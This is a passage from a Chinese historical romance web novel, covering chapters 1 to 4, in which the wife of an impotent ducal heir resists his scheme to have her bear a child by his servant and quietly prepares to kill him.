《守寡后被义弟盯上了怎么办》
1. 拜佛
洛都之郊,有护国寺。金殿明堂,恢宏高阔,香火鼎盛,梵音遏云。
佛门广开,众生平等,上至达官显贵,下至黔首黎民,皆可来此礼佛敬香,故而门庭若市,香火不息。
大雄宝殿内,金佛慈眉善目,结说法印,普渡众生。
佛前一排蒲团上跪着两名品貌非凡,衣饰华贵的年轻女子。
李宴方跪于蒲团上,身姿挺秀,眉眼清冷,恍见孤悬中宵之冰轮,淡漠得不沾红尘。她双手合十,臻首微垂,略略致意。
无念无求,仿佛不像礼佛之人,她似不该出现在这里。
另一人雪肤花貌,闭目低头,口中念念有词,而后虔诚礼敬叩首三拜。
反衬得同伴李宴方有些无礼。
郑令纯还愿已毕,柔荑轻拾裙裾,准备起身,这时她身后紧紧盯着她一举一动的健妇跨步上前,稳稳当当地扶住她,关切道:“二夫人小心。”
郑令纯扶住健妇递来的手,轻抚小腹,玉容染上藏不住的喜色:“不知阿嫂许了什么愿?我也不怕阿嫂笑话,今年中秋才来求子,如今不过十月,便得偿所愿。”
无人相扶的李宴方不动声色地起身,转过身来时,那一双清冷如月的眸子染上些许喜悦,不似有假:“恭喜二弟妹,看来能全国公爷抱长孙心愿的,非你莫属。”
郑令纯杏眼盈盈望她,竟是有些急了:“阿嫂莫打趣我,我可没想着捷足先登。阿嫂当年一手背临《九重山色图》,才名冠绝洛都,与阿兄因画相识,成婚之日太后钦赐嵌八宝翡翠如意等重礼贺之,算到而今结发三载,举案齐眉,叫人艳羡至极。这孩子总是要有的。”
李宴方笑而置之,不甚在意:“缘来便有,无需强求。”
她无心去分辨郑令纯是真心还是假意。
只叹旁人不知晓,她却懂得,这缘分注定断绝。
当年她以一中低武官之女的身份嫁与鄂国公府世子陆韫之,堪称惊天意外,谁能想到端方如玉,前途无量的陆韫之会娶一个出身落魄的武官之女?
若不是她刻意设计文坛画院中的背临一事而颇有才名,只怕这鄂国公府她高攀不了半点。
不久之后,太后赐贺礼,才勉强将街头巷尾的置喙之词压下,连李宴方自己都云里雾里,摄政临朝的承天太后居然会赞成这一桩她处心积虑攀附而来的亲事,奇也怪哉!
众人皆以为她与丈夫诗文唱和,心意相通,琴瑟和谐,叹她享尽女子能享之福,却无人知她看似美满实则不幸。
丈夫求仙多载,贪服仙药,导致不能人道。
怪不得昔年陆韫之宁可与国公爷争执也要强求娶她入门,原来是高门贵女忍不得一个废物丈夫,她家中父母皆去,再无长辈可以依靠,娶她入门只因她好拿捏。
再说她才貌双全,还不至于丢尽国公府的门面。
陆韫之你倒是好筹谋,天底下还有哪里能找到那么称你心,如你意的贤妻!
郑令纯见李宴方默默沉思不语,情绪稍有低落,存心逗她开怀,既知佛前许愿与子嗣无关,她便想与李宴方闲聊别话。
待二人出金殿,拾级而下,她问:“阿嫂,如今都要归家了,可能告诉我你许下什么愿呢?”
殿前左右各立一株近千岁的古松,一行人行至树下,李宴方仰头,中天之日被层林尽蔽,落下一地阴翳。
这日自然也照不到人心,可尽说谎。
她一个心怀歹意,暗行恶事之人,有天大的胆子也不敢在佛前求一句“如愿以偿”。
若是开了口,只怕这朗朗晴天要骤然变色,乌云密布,电闪雷鸣,几道惊雷非得劈下来,把她扭送到地府阎王面前坦供罪状不可!
由此,她在佛前实则无所能求,但凡她所愿,皆步步登临,不假手于旁人,更何况求诸神佛?
歹人念歹事,此事她布置多年,十拿九稳,势在必得。
李宴方一瞥郑令纯,风轻云淡地佯言:“我所求不过国泰民安,北境无战事罢了。”
言辞颇有几分真诚,她身处佛门重地,实在不敢放肆太过,搪塞几句放之四海而皆准的好话,省得捱下晴天惊雷。
说者无心,听者有意。
郑令纯知晓这位阿嫂的身世。
李宴方父母在世时收养了一位义子,成为她的义弟,父母驾鹤仙去后,那义弟在三年前投军北上,杳无音信。
李宴方连冬日想捎寄些寒衣棉服都无处可寻,更别说义弟能送回几封家书报以平安。
她的父亲去得早,在军中不能帮衬一二,义弟若是从戎自然要从马前卒做起,疆场上刀枪无眼,九死一生,义弟只怕早已是变作无定河边骨了。
郑令纯推测,阿嫂如今与她一道前来上香祈福,左右不过求些安慰,噩耗不曾传来,权把没有消息当作顶好消息。
她存心宽慰:“阿嫂,我听闻夫君说北境传来捷报。原是出了一位年轻的小将军,传说他勇力绝人,能征善战,屡出奇谋,收复北戎人抢去了七十余年的四州呢!”
“四州光复后,那人斩尽军中俘虏,城中大小官员,尸骨成山,血流漂杵。因他悍勇凶残的煞名,蛮横狠毒的北戎人竟然破天荒打起握手谈和的主意,要派王子来洛都商谈议和之事。若是战事因此平息,想必阿姊就能得偿所愿了。”
李宴方不知为何郑令纯为何突然与她说这些。
大抵是郑令纯出身世家,家中长辈周全康健,兄弟姊妹平安和睦,更不必去战场上以性命搏功勋。而她刚嫁入国公府不久就有身孕,她这位阿嫂实在谈不上什么威胁,所以郑令纯坦然存些善心。
“对了,那人名为萧偃,此战立下赫赫战功,太后已命其返京受封,时人推测其八成要封侯拜将,来日无上风光,恩荣无限。接下来的洛都可有大热闹看了,能欢欢喜喜闹到年后去。”郑令纯压低声音,靠近李宴方,说起悄悄话。
“萧偃?”李宴方总算是搭腔了,“如此这般,北境可是停战了?”
郑令纯倒是没想到她会问这个,检索着自己与丈夫闲谈时的只言片语,笃定道:“是。”
她蓦然想到些什么!
听说阿嫂那义弟也姓萧,只不过名讳二字,这位扬名北境的弱冠将军也恰好姓萧,单字作名,莫不是让阿嫂想起伤心事了?
明明出人头地,衣锦还乡的都是萧家男儿,却独独不是她念叨的、想见的那一个,给了希冀再奉以绝望,不知道阿嫂得伤怀悲痛成什么样子呢!
郑令纯正思索如
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何补救,却听得一阵如碎冰裂玉的清音回荡在她耳畔,调子不悲不喜,似安澜碧波一般无风无浪。
“十月北境气候严寒,风雪漫天,不便于作战,停战休整,保存实力也是情理之中。”
李宴方思绪已远,好似能飘至千里之外的北疆,却不知能落到何处?
“阿嫂还懂兵法?”郑令纯妙目微瞪,颇为诧异。不过以阿嫂出身来看,也不奇怪。
李宴方黛眉一挑,随即摇头否认:“胡乱猜测罢了,边境苦寒,是人人都知晓的。”
郑令纯突觉自己大惊小怪,颔首道:“阿嫂说得是。”不再言语。
两人携手出寺,在丫鬟健妇的追随护卫下登上马车,返回鄂国公府。
国公府一行十余人翩然离去,只余下香火缭绕,梵经齐唱依旧盘旋于松顶,那一棵李宴方停驻的千年古松树干须得三四人方能合抱,粗壮沧桑,能轻而易举地挡住藏身于树干身后的年轻男子。
护国寺香客如云,络绎不绝,倒是无人留意这个看似背靠古松休憩的江湖过客。
那人悠闲倚靠,身量极长,姿态随性佻达,颇有桀骜不驯之气。
他头戴竹笠,低垂眉眼,竹帽恰是将他的面容遮住大半,唯余翘挺鼻尖下的薄唇与线条流畅的下颚。
那薄唇生得极好,天生含笑,唇角总是勾着一抹极浅极淡的笑意,叫人见之难忘,只是现下双唇干燥,色泽暗淡,好似伤痛未愈,白白减损了几分神采。
萧凭陵耳力过人,听得李宴方离去,薄唇的笑意更甚,只是不再纯粹,参杂许多说不清道不明的意味,猜不出是喜悦还是怨恨,抑或是冷嘲热讽。
“阿姊,看起来你过得不太好。不知可有后悔当年?”他薄唇翕张,低声悄语,卷入佛钟阵阵,了无痕迹。
正待他动身离去,一名同样作江湖草莽打扮的男子靠近,低声耳语:“头儿,仍是毫无踪迹。”
萧凭陵调整斗笠,悠然自得,毫不在意,低沉温醇的嗓音响起:“蚯蚓在泥土中藏得再好,风雨过后也要成群结队冒出,不急。”
阿姊倒是与他心意相通,现在确不是全面出击的良机,他还有时间慢慢与他们耗。
“我说你一身的伤,千里迢迢快马加鞭回洛都,命都不要,第一件事竟是来拜佛?你从前豪言壮语‘该见阎王时我便去见,拜佛无用’,如今不作数了?”
古松树干后突然钻出一人,那人与萧凭陵年岁相差无几,但性子却比他跳脱得许多,他面容清隽,肤色稍黑,约是常年栉风沐雨所致。
萧凭陵白了他一眼:“慕容修,我要是说现在杀心很重,来听听佛经,压压杀气,你信吗?”
此人两年前自荐为他幕僚,倒也真有几分本事,入他麾下做了军师,深得信任。
“你要杀谁?”
“一个姓陆的。”
慕容修抬眼环顾,见那大雄宝殿中的金身佛陀,一脸鄙夷:“佛前笑谈杀戮,不怕遭天雷劈?我还是离你远些,要不然定然被波及。”
“论迹不论心,他还活得好好的,再怎么劈也劈不到我头上。”萧凭陵头也不回,去寺外寻了骏马,星奔川骛,眨眼便不见踪影。
他今日是好,明日就未可知了。
2. 闻变
鄂国公府已到,厚重沉实的朱漆大门缓缓打开,门后雕刻福禄寿三星的影壁近在眼前,两位少夫人下了马车,轻移莲步,缓缓入内。
“回了?”
一声清润温柔的问候自影壁一侧传来,李宴方听闻熟悉的嗓音,疑窦丛生,今日他怎么有闲情逸致到大门来迎自己?
思索不过两息,她抬眼便见陆韫之从容踱步而来。
陆韫之自影壁后现身,他一身竹青色圆领袍衫,外罩御寒纯白裘皮,玉树临风,端方正气。
他行至李宴方面前,如玉容颜染上些喜色,本似寒泉幽潭般的冷眸也闪烁笑意,那盈盈情意毫无阻隔地落入她双瞳中。
郑令纯见二人伉俪情深,口中唤声“阿兄”,福了身便借故离去,走时还给李宴方留下个揶揄的眼神:正如我说,阿嫂阿兄举案齐眉,想要孩子有何难?
“回屋吧,外头风冷。”李宴方只作不觉,绽出笑颜,揽过丈夫,两人并肩往府中见山苑走去。
左右两门房见世子与夫人如鼓琴瑟,便想到世家中腌臜事,偷腥的、拈花惹草的屡见不鲜,如此少年夫妻一路恩爱,凤毛麟角,当真是叫人羡慕啊。
*
见山苑为陆韫之居所,此处颇有江南园林的秀雅之致,叠石假山旁草木纷繁,十月冷风一至,少了几分意趣,多了几分萧瑟。
直至入屋,陆韫之才低声咳嗽两声。
李宴方替他接下裘衣,不由得埋怨:“你偏要去吹那两口冷风,就为了等我?”
府中人未必知晓他真实身体状况,可李宴方清楚,陆韫之亦知,所以这般出苑远迎,并不寻常。
“怎么?我不能去等我夫人?”陆韫之含笑反问,漆黑眼眸如深不见底的湖泊,被春风一吹,柔柔地泛起微波,叫旁观者动容。
李宴方垂眉低笑,似羞赧不敢对视,只是轻轻打发了一个字:“嗯。”
她大感不妙,胸膛内的心脏突突直跳,这两年陆韫之的脾气愈发反复无常,少有如此温情的时刻。
她略微一猜便有眉目。
陆韫之最初还能积极配合治疗,可年岁渐长,沉疴日久,药石无用,彻底叫他绝望,一个丧失尊严的男人日夜处于煎熬与懊悔之中,痛恨自己,痛恨他人,痛恨时运不济,痛恨造化弄人,难免变得疯疯癫癫,不可掌控。
只是现在不知葫芦里卖的什么药?
“夫人,我们结发三载了,”陆韫之走来,执手相看,柔情脉脉,“昔年初见,我便知你我缘分匪浅,只是那时父亲执拗,不知你的好,我也少不得与他争吵,幸好没辱没了你。”
李宴方把他话里话都听明白了,本以为是诉衷肠,没曾想是重述旧恩,她故意避开陆韫之灼烫的视线,埋首入他怀中。
怀抱里清新冷淡的香气萦绕鼻端,李宴方唇角勾起一抹难以察觉的浅笑,陆韫之一应衣物均是由她打理,这香薰自然也是。
陆韫之见她一贯小意温柔,性情温顺,无依无靠,如此好摆布,便继续以柔情蜜意哄她:“都怪我不好,这些年叫你受委屈了。”
“夫君说什么呢,我不委屈。”
李宴方诳语随口便来,当世子夫人自然不能算委屈,就算是最初入门之时,国公府上下多有鄙夷,但她皆不卑不亢应对,而后再以小情小义让人心服口服。
到底都在一个屋檐下,无关生死利益,谁会天天搬弄是非,搅动风云?
这些都是不费心思的小事。唯一成为李宴方心头之刺的只有陆韫之本人。
她最初是存着与陆韫之好好过日子的心思,只是天不遂人愿,陆韫之先变幻无常起来,那也怪不得她了。
“如今二弟妹有了身孕……”陆韫之自嘲道,“都怪我。”
李宴方不会在这时候招惹他,并不接话。
果然他沉不住气,说出心里话:“你还是小心,莫与她走太近好,免得她误以为你见不得她生下长孙,要陷害她。”
黛眉下细长如羽般的眼睫轻扇,李宴方哂笑:“好啊,若是她非要栽赃我,你把我休了便是。”
郑令纯与二弟陷害她能获得什么利?
又不能把陆韫之拉下世子之位。明明是自己不能人道,忌惮亲弟先抱儿,偏生要敲打她。
李宴方想,若是陆韫之真休了她,也算是自保一回,留住小命。
陆韫之被她的不悦反激,好不容易维持的温润外表露出破裂间隙,蓄藏柔情的眼眸瞬间寒冰冻结:“若是长孙得宠,你就不怕父亲动了废长立幼的心思吗?”
她看似被突如其来的责骂吓退两步,定了定,毫无波澜地道。
“废长立幼,常伴祸端,等闲不会选择,更别说国公府世子册立需得太后皇帝首肯下旨,你又无错可挑,父亲就是想废你也必须要过太后那关。”
“若是真到了那时候,你再设法让人参奏父亲一本,指他宠妾灭妻,废长立幼,你这世子之位当稳如泰山。”
好一个天衣无缝,陆韫之听完只冷笑,不再言语。
她总是这般沉着冷静,足智多谋。昔年父亲嫌弃他求仙问道,远离科场,是她在他身后替他出谋划策,甚至捉刀策论,进而助他重得父亲青眼。
可她哪里懂,这些层出不穷的应对之策,无法根治他的弊病!
他没有孩子,永远不可能有孩子!
他与母亲瞒得住父亲一时,却瞒不住一世!
虽然二弟并非与他一母同胞,出身对他毫无威胁,可近年来却越来越受父亲重视,而今若是真让二房有了长孙,保不齐父亲真会动废立之心。
陆韫之心头凉意遽升,拳不自觉握紧,指甲扣入皮肉中,森森痛意叫他清醒。
他需要孩子!
更准确地说,他陆韫之需要一个名正言顺的嫡子!
李宴方根本不懂自己有多渴望和多么……惧怕!
面如冠玉的男子骤然贴近,明眸森冷,柔情蜜意瞬时间荡然无存,那只短暂存在过的一池春水化作吞噬生灵的地狱焰火,无尽无底,绝情残忍。
李宴方最厌恶陆韫之的变化无常,喜怒无端,她冷了眼,强压下恶嫌。
那场九幽炼狱中的烈火才将将要烧来,遽然熄灭。
“噗通”一声,重物叩击地砖,陆韫之眼眶猩红,黑眸含泪,仰起玉面望着她,充满乞求之意。
“夫人,可是我们需要一个嫡子,此为长久之计!”
男儿膝下有黄金,国公府世子更是只跪天地皇权父母,如今毫不犹豫地给李宴方跪下,这让李宴方警铃大作,惴惴不安。
她下意识转身离去,却在抬步的一瞬间被陆韫之抱住双腿,动弹不得。
陆韫之将面庞贴在她裙裾上,如索命恶鬼般低语:“夫人,我已安排好
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陆仁,他绝不会泄露半分,待你诞下麟儿,我们便杀他灭口,此事将无人得知!”
“你什么意思?”李宴方瞳孔骤然收缩,漆黑中迸发一股杀意,冷声质问。
“他是我从小的伴读书童,最为忠心不过,便由他代我……”
李宴方高扬右手毫不犹豫地掌掴其脸,一声清脆无比的耳光回荡于沉默冷寂的内屋。
她贝齿紧咬,牙关打颤,连身躯都不由自主地发抖,已是怒火攻心,难以自抑。
陆韫之早料到如此反应,生生捱下这一巴掌。
若是妻子笑而接受,他反而要疑心她是否水性杨花了。
他紧紧抱住她,彻底撕破脸皮后,威胁通过她的骨骼传来,字字诛心。
“我们夫妻早已一体,若是膝下无子,将面临何种困境,你冰雪聪明,不会不懂!你既然高攀我门,就要听我号令!我若失位,你别妄想独善其身!”
李宴方不怒反笑,只是那笑声竟然比哭声更悲切凄厉:“可是,我们夫妻三年,竟无半点情谊?叫你想出这等下作法子来折辱我?!”
他安排好了,早就安排了,就等今天坦白后就要行动吗?
丝毫不用在意她是否情愿?
她心寒至极。
你既翻脸,我便接招,既然你先前用夫妻感情叫我体谅你,那我如今如数奉还。
陆韫之不敢抬头觑她脸色,见不到这一股霜杀百草的寒意。
“情谊?我若无情无义,早就出此下策了。夫人要知此事避无可避!”
两行清泪直下,敲坠在陆韫之的额前,他终是抬眼凝望妻子,见她梨花凝露,泪洒斑竹,心中生出不忍,却狠下心来不再去看,深知不可为她的乞怜乱计划。
更漏像是停顿了许久,寂静得听不到半点声音,终于,李宴方开了口。
“给我一个月,慢慢接触陆仁。”
“夫人大义。”
说完,陆韫之跪地退后,伏在地面上,不动声色露出得逞的笑意,拜她一拜。
李宴方讲旧情,流清泪不过是为了拖延时间,她料定早做打算的陆韫之绝不可能放弃。
陆韫之,你真该死啊。
她无比清楚,现在陆韫之有求于她可以低声下气,可要是真有事成那一日,她一定会在他的安排下“难产而亡”,永远保守秘密。
真正的受益者,只有陆韫之。
*
夜深了,丫鬟照清掀帘而入,清丽的面容上笑意盈盈,开口道:“小姐,热水打来了,今夜世子在书房彻夜摹画,小姐先安寝吧。”
“留下吧,你也早些休息。”
李宴方强撑了一日,掩去复杂神情,终于在众人面前隐藏秘密。
照清是李宴方带入府中的唯一一个陪嫁丫鬟,情同姐妹,最为留意她是否安好,但凡她有些落寞,照清一看便知。
陆韫之不能人道的事,连照清也不曾得知,如今到了杀人消灾的那一步,必然也不能叫她知晓,免得受累。
李宴方并未前去打水盥洗,只是独坐床前,眸色飘忽不定。
她长叹,娘,当年你叫我放下仇恨,恕人恕己,便是料想到我一意孤行,终会为报仇而陷入此等绝境吗?
我终究是错了?
是夜,梦境阑珊残破,李宴方再度被丢入旧岁里那一个雪大如席的冬日。
3. 故梦
风云蔽日,大雪嚎哭,砭骨冷气无孔不入,渗透至床上的棉被,都叫其沉重了几分,阴湿寒彻。
少年李宴方伏在床前,宽慰卧病的娘亲:“娘,我出门找大夫,阿弟已经去医馆取药,他马上就回来。”
面色如土的黎茂宁已是虚弱至极:“宴方,不要做无用功,陈尚书将全城的大夫都招去替老夫人看病,你求不到的。”
“我偏不!凭什么他为了讨好他母亲显孝心就可以一个人霸占那么多大夫,这不公平!我一定会为你叫来人诊治!”
黎茂宁逐渐黯淡的眸子里突有荧光微动,女儿外柔内刚,桀骜难改,这话终究要与她明说。
“时也命也,造化弄人,非‘公平’二字可轻易盖棺定论。为娘的身体,自己晓得,若是神医再世也不过苟延残喘罢了。宴方,我只要你要记一件事,切莫钻牛角尖,陷入深仇大恨之中,恕人亦是恕己。”
“来日的路,你们姐弟要互相扶持,携手共进,懂么?”
母亲竟然已经在交代后事,她大恸难抑,哑口无言。
恰是此时,义弟萧凭陵自外头挟风雪而归,她说什么也控制不住,交代阿弟一句“好好煎药照顾母亲”,便头也不回地奔向陈家宅院。
年少的李宴方情绪激荡,急切飞奔,穿越过洛都的坊市,逆着漫天鹅毛雪,来到陈府。
那是她第一次深刻体悟了权为何物,以心如刀割,痛若凌迟的方式。
高阙朱门于寒风中屹立,无可奈何的李宴方跪拜于门前,请求门房通报,渐渐地风雪压在她身上,落入发梢,凝于眼睫,积于脊背,直到她的脊梁似被压弯,再无从挺起。
此路不通,忍无可忍的李宴方开始了对陈氏的痛骂谴责,声泪俱下。
天寒地冻,路上行人稀少,但门房容不得她破口大骂,便抄起木棍要将她打杀走。
这时,寒风中一人奔来,在她即将被痛打之时,不由分说拉着她便掉头就跑。
是萧凭陵。
她瞬间如堕冰窟,他怎么回来?除非……
“阿娘呢?”
风在天地间肆虐,将呜咽的人声吞没,吃干抹净的还有最后一分一毫的渺茫希望。
“阿娘去了。”
还没她高的萧凭陵已是一身蛮力,也不回头,就这么拽着她回家,去见她见不到最后一面的娘亲。
李宴方跌坐在地上,狼狈不堪,六神无主。
萧凭陵显然也是哭过,一双天生笑唇被悲恸哀伤洗礼,反倒显出强打精神、压抑本心的无奈与酸楚。
他背起不知所措的阿姊,在未见消停的狂风卷雪中一步一步往回走,踩踏着遗憾与怨恨,走向破碎的团圆。
“阿姊,现在只剩我们两个了。”
她埋头在他肩膀,泣不成声。
回家的路好长,好坎坷,就像一眼望不到头的破败人生,她们……只有彼此了啊。
大雪倏然停歇,停在三年后的春天,那年洛都的牡丹开得极好,倾国倾城,名花美人两相映,李宴方与鄂国公府世子陆韫之正式订婚,她愁眉终展,换得春风满面。
那一年,她二十一岁,萧凭陵十八岁。
有那么一瞬间,她觉着日子彻底好起来了,将来妻凭夫贵,也能给阿弟觅一个好去处。
就在她以为阿弟也是这般作想之时,萧凭陵将真心话与她剖白。
身量渐长,日趋英武的阿弟现身于门前,右手扣住门框,暗自发力,五指指结发白,手背青筋暴起,垂下眼帘,避开李宴方打量探究的视线。
她狐疑地问:“萧凭陵,你怎么了?”
萧凭陵内心纠结几番,终是豁出仅存的那一点廉耻:“跟阿姊青梅竹马的明明是我,你为何要选他?”
她迟疑几分,问心无愧道:“阿姊世俗,贪恋荣华富贵,他有,便嫁他。”
晴天霹雳,轰轰而至,把梦境劈得分崩离析,只余一片无涯无际的黑暗幽寂。
“阿姊,不知如今,你可有后悔当年?”
一切戛然而止,男子情绪难辨、意味难明的低沉询问犹在耳畔回响,李宴方彻底惊醒,见四下无人方才稳下心神,舒缓气息。
待此刻,她终于从混乱梦境中脱身,将铺天盖地而来的悲哀伤痛放下。
她与萧凭陵,怎么就变成了那样?
拂起玉帐,推开轩窗,月华自青霄漏下,遍撒人间,这景致倒让李宴方心绪宁几分。
她借着皎白月光打开朱漆妆柜下的抽屉,屉内深处安放着一个小盒,她取出打开,拿出一物。
月色下隐约可见青、白、红、黑和黄五色彩绳被穿绕成手链,编制它的人看似不太熟练,手艺不太好,一节松,一节紧。
可这长命缕确确实实是李宴方的最后一点念想了。
娘亲走后的某年端午,萧凭陵神神秘秘地走到她跟前:“来,阿姊戴上。”
长命缕本是长辈替小辈准备的,寄予平安康健的祝福。
可她们没有长辈了,李宴方见他如此用心不由得生出愧疚,因为本该她来结绳,赠予他。
她问:“你自己的呢?”
萧凭陵低头给她系上,言笑晏晏:“阿姊平安,我就平安。”
于窗前凝望旧物不语的李宴方心中万千惆怅过,物是人非,她在国公府尚且能应对,那么当日负气离去,北上投军的萧凭陵究竟是死是活?
为什么三年来音讯全无?
萧凭陵,你恨我,不愿意再与我产生半点联系?
还是你已经马革裹尸,葬生于北地苍茫无垠的旷野?
如今北境停战,你究竟是好还是不好?
她将长命缕收起,这些年她时不时拿出来查看,已经有些褪色显旧。
爹娘没给她留下什么,除了那一处老宅,当初的嫁妆也是她自己卖画所凑,如今唯一一个能寄托她对亲人思念的,唯有这条长命缕。
夜色深深,她却毫无睡意,躺在床榻上,辗转反侧,迷迷糊糊捱到天明。
*
次日,天青如洗,骄骄艳阳之下冷风退避三舍,陆韫之派人请李宴方去书房对弈。
待李宴方步入书房,见棋盘之侧立着一人,她便什么都明白了,陆韫之是一点都等不及。
那人就是陆韫之口中所赞忠心的书童——陆仁。
李宴方并非先前未打过照面,只是那时不过是匆匆一瞥,未曾细观。
陆仁身高长相皆是平平,在她打量时,避开她目光,垂头躲藏,露出几分猥琐瑟缩之态,叫人厌恶。
“来,下棋。”此时陆韫之冰冷开口,像是要她服从什么命令,不留半点置喙之地。
李宴方在棋盘一侧安坐,然与她对弈的却不是陆韫之。
陆韫之见她落座后只给了陆仁一个凉意十足的颜色,转身拂袖,步入书房的东厢,单独将陆仁留于西厢。
意思再明显不过。
李宴方甚至
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能推断出,陆韫之做下那个决定后,必是最先告知陆仁,而后才软硬兼施地逼迫自己同意。
“落子。”李宴方执黑先落,冷淡无情地叫陆仁加入棋局。
陆仁最先还显得惴惴,待陆韫之彻底离开他的视线,再见到李宴方之时,神色就轻松许多,甚至隐隐有些许反仆为主的张狂得意。
他落座,却未执棋子,而是眼疾手快地握住李宴方落子后即将收回的削葱玉手。
粗糙和燥热的感触当即自右手如过电般一路袭击心房,李宴方冷不丁抽回手,陆仁却加大力道,叫她进退两难。
李宴方剪水双瞳乍然森冷,眸色锐利,冷淡开口:“松开。”
陆仁不仅没有如李宴方的意,松开那只手,反而用粗短的大拇指摩挲她手背细腻光洁的肌肤。
如赖皮蛇趴脚面,粘腻稠滑的恶心之感结成密网,将她笼罩其间,窒息恶感汹汹来袭,无处可躲,无从可逃。
陆韫之特意布置过,李宴方又不可唤人相帮或是反手擒拿,两人就此僵持不下。
陆仁能在陆韫之手下十余年自然也不是十成十的蠢蛋,他瞧得出贵夫人的厌恶,也看得透李宴方的无奈,缓缓开口。
“夫人当知世子的决定,还请夫人顾全大局,否则要是世子用了别的法子……呵呵,夫人是聪明人,自然不会平白受罪,是吧?”
别的……法子?下作法子么?
李宴方细眉冷挑,更下作下流的法子无非下药迷晕,这究竟是陆韫之的意思,还是此人狐假虎威故意吓唬她?
但陆韫之既然已经敢叫他与自己独处,定然是做了必达目的誓不罢休的打算,那么下作法子便也成了他与陆仁默认可以使用的手段了?
急火攻心,险些让李宴方失态,她陷入一场四面楚歌的围剿之中。
那歌声愈发近了,藏着尖兵锐器的锵锵作响。
陆仁露出利齿獠牙,威胁着她,如今李宴方的每一步都至关重要,万万不能行差踏错。
她展开笑颜,叫眼前人尝到些甜头,柔声说:“好,今日若是你能赢了我,我后日便与你携手作画。”
古诗词有云:“笑问鸳鸯两字怎生书?(注1)”描写的便是闺房情致,而今李宴方含笑一句携手作画,足以叫陆仁浮想联翩,脑海中出现了与这位主子的娇美妻子于书桌前情意缠绵之态,不由得喜上眉梢,得意洋洋。
他出身低微又如何?如今也能摘到贵树玉枝上的国色奇葩了。
李宴方将其丑态尽收眼底,心头恶嫌更重,几乎叫她作呕,但她强忍着下完这一局棋。
时分滞走,磨得人将将麻木,待她敷衍过陆仁离开陆韫之书房已是一个时辰之后。
她唤来照清,打来冷水洗净手背上的恶感,藏去所有心思,笑着吩咐照清:“我前些日子答应夫人太太们做些胭脂送去,让你准备的米粉、红花、玫瑰等物都备齐了吗?”
照清点头应是,说着起身去取。
李宴方自入府以来,常亲手做些小玩意儿去笼络人心,三年来送了不知道多少次胭脂,而这一次定然是最后一次。
她独坐双鸟衔花铜镜前,摘下发髻上一柄嵌玉镶珠的金簪,以簪作剑,挽了个轻盈利落的剑花,镜中剑影斑驳,人影冷肃凝重。
取人性命容易,不过一剑耳,但若想金蝉脱壳,撇尽关系,却要步步为营,容不得半点闪失。
注1出自宋代欧阳修《南歌子·凤髻金泥带》。
4. 胭脂
黄花梨长桌上摆放着琳琅满目的器具,淡青如过雨天的装盛瓷碗,用于捣碎红花的莹白药杵,过滤花浆的棉质布袋,以及描画着四时花卉的精巧小匣……
待捣碎的红花,洁白纯净的米粉,用于过滤的草木灰水,增加香氛的玫瑰花等等,平平无奇的常见原材料在李宴方手中化腐朽为神奇。
李宴方一番忙碌过后,长案上已摆放好胭脂成品,只待稍许阴干,便可使用。
她做的胭脂脂粉细腻,色泽莹润,还带着一股若有若无的香气,若是贵妇人们身上熏了香,这胭脂绝不会喧宾夺主,若是未曾熏香,这胭脂气息浅浅萦绕,徒增一番风情。
是以,这鄂国公府上下无人拒绝她的好意。
她派照清给各房的夫人太太们送礼,而自己留下一份,装入小金匣中,那金匣不过半个巴掌大,精美华丽的绶带牡丹纹却布满其表面。
不过眨眼间的工夫,她便将胭脂填好,盖上。
这金匣大小适宜,刚好可以拿在手中把玩。
这几日鄂国公陆朴外出前往京郊的别业,与友人小聚,赏秋景,行宴游,如无意外,明日便会归来,所以今夜就是李宴方动手的最佳时机。
金乌西坠,晚霞如烈火般灼烧着天边,轰轰烈烈,气势磅礴,好似能燃尽世间一切肮脏恶浊。
李宴方收回远眺窗外的视线,对陆韫之道:“夫君今日还要去书房摹画吗?”
两人一同用饭后,李宴方趁他尚未离去,悠然询问,不带一丝不满与埋怨。
陆韫之陷入短暂的沉默。
李宴方见丫鬟们捧着残羹冷炙鱼贯而出,屋内只余她与陆韫之二人,开门见山:“连着几日都这般,只怕有人背后胡乱嚼舌根,说你我生了嫌隙。”
“我只是……”陆韫之支支吾吾。
“那日之事你我已说好,为何避我不见?夫君嫌我,不把我当妻子了?”
李宴方瞬间愁肠百转,不语凝噎,唯有那眼波如秋水般,在悲风中涟涟,叫陆韫之心生歉疚。
不过须臾,陆韫之便明白了李宴方的计较,若是她真有失身份,自己对她的感情仍是她留居国公府内的重要筹码,所以这一局,她是为了维系夫妻之情。
而陆韫之要她偷梁换柱,少不得要给她好脸色,他自然是答应她的小小要求。
戌时,寂夜悄悄,月华倾泻直淌而下。
主屋内置的书房里燃着明灯,李宴方在布置,宽大厚实的书桌上铺陈着一幅空白长卷,一旁的歙砚中已研磨好上品松烟墨。
陆韫之见了反倒奇怪:“夫人不是说要早些歇息吗?怎么突生画意?”
李宴方不动声色将墨块收好,凝望洁白如玉的画纸,问:“当年我与夫君因画结缘,只是不知,你究竟有没有爱过我?”
烛光下,李宴方如雪的肌肤被打上绯艳流动的暖光,那朱唇更甚,如染血一般妖冶丰润,整个人此刻带几分决绝之意,更如天星俱落,流云乍凝,气势绝艳非凡。
竟叫陆韫之看得痴了。
“我记得,最初的时候,不是这个样子的。”李宴方声中已有哭意,将陆韫之一把扯入回忆中。
古语有云,靡不有初,鲜克有终。(注1)
世间万事,得一个良好开端不难,若想再得完美收尾却极其不易。
这一段充满算计的婚姻在最开始的时候,李宴方带着真心与陆韫之相处,那时候的陆韫之亦然。
只不过算计太多,到头来成为李宴方逃不开躲不掉的报应,但这一天一到,她终要将这一份报应报到陆韫之头上。
彼时新婚燕尔,陆韫之克己守礼,李宴方还喜出望外,自己算计得了一位正人君子做夫君。
可后来相处时日渐久,情愫日生,难免情动,但陆韫之多有回避推拒之态,一而再再而三,引发李宴方的猜疑与愤怒。
陆韫之无从再隐瞒,只得把自己的情况坦然相告。
她与他道,后天之因,未必不可痊愈,于是劝他调理身体,按时服药。
李宴方在震惊之余,渐渐接受,左右就是无法生儿育女,人生漫长,若是志趣相投,也不算白白浪费。
“那时你说为我画满池的菡萏,如今已是秋色杀人时,你如何为我补上?”
陆韫之有些动容,如果不是无可奈何,怎么会有男人会把心悦的妻子往旁人身边送?
其实,他对李宴方这个思绪周密、处事周到、温柔解语的妻子委实有过真心,如此良妻,却要被他推进火坑。
他前一上涌,眼底发红,喉头哽咽:“那年夏日暴雨连绵几日,夺了池中的芙蓉颜色,我允你一塘夏意莲香,今日便补上。”
说罢,动身前往书桌,要提笔替李宴方画下。
李宴方却在他眨眼之间,抽动画轴,那一卷平摊于桌上的画纸疾速收回,变作她手中的一条长卷。
